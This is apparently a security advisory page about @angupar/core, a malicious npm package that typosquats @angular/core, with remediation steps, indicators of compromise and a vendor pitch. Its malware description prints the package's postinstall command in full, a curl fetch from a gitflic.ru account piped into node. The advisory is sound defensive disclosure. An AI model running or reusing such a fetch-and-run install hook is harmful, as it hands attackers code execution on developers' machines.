Which versions of @angupar/core are malicious?

The following npm versions of @angupar/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @angupar/core if I installed it?

@angupar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angupar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @angupar/core — how do I know if it already compromised me?

If @angupar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angupar/core part of a known attack campaign?

Yes — @angupar/core is associated with the IN-MAL-2026-020992 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angupar/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angupar/core (version 22.2.1).

Malicious package

@angupar/corenpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

@angupar/core is a confirmed malicious npm package (MAL-2026-17539) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angupar/core (npm)

MAL-2026-17539

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @angupar/core

What this malware does

Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a third-party user account (hellscripter on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. npm install @angupar/core therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

Malicious versions

1 flagged

22.2.1

Indicators of compromise (SHA-256)

61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @angupar/core (version 22.2.1).
If you installed it — respond
@angupar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angupar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angupar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angupar/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020992

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @angupar/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database